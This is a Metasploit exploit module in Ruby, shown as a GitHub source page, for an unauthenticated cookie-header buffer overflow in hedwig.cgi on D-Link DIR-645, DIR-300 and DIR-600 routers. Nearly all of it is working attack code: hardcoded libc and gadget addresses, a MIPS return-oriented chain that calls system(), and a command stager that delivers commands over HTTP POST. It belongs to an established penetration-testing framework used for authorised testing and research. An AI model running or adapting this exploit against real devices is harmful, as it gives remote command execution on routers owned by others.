-
Notifications
You must be signed in to change notification settings - Fork 14k
/
dlink_hedwig_cgi_bof.rb
130 lines (114 loc) · 5.22 KB
/
dlink_hedwig_cgi_bof.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on several D-Link
routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
and the DIR645A1_FW103B11 firmware.
},
'Author' =>
[
'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '95950'],
['EDB', '27283'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Targets' =>
[
[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
{
'Offset' => 973,
'LibcBase' => 0x2aaf8000, # Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
],
'DisclosureDate' => '2013-02-08',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'uri' => "/hedwig.cgi",
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200,
:concat_operator => " && "
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
shellcode << rand_text_alpha_upper(16) # filler in front of our command
shellcode << cmd
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/hedwig.cgi",
'cookie' => "uid=#{shellcode}",
'encode_params' => false,
'vars_post' => {
rand_text_alpha(4) => rand_text_alpha(4)
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end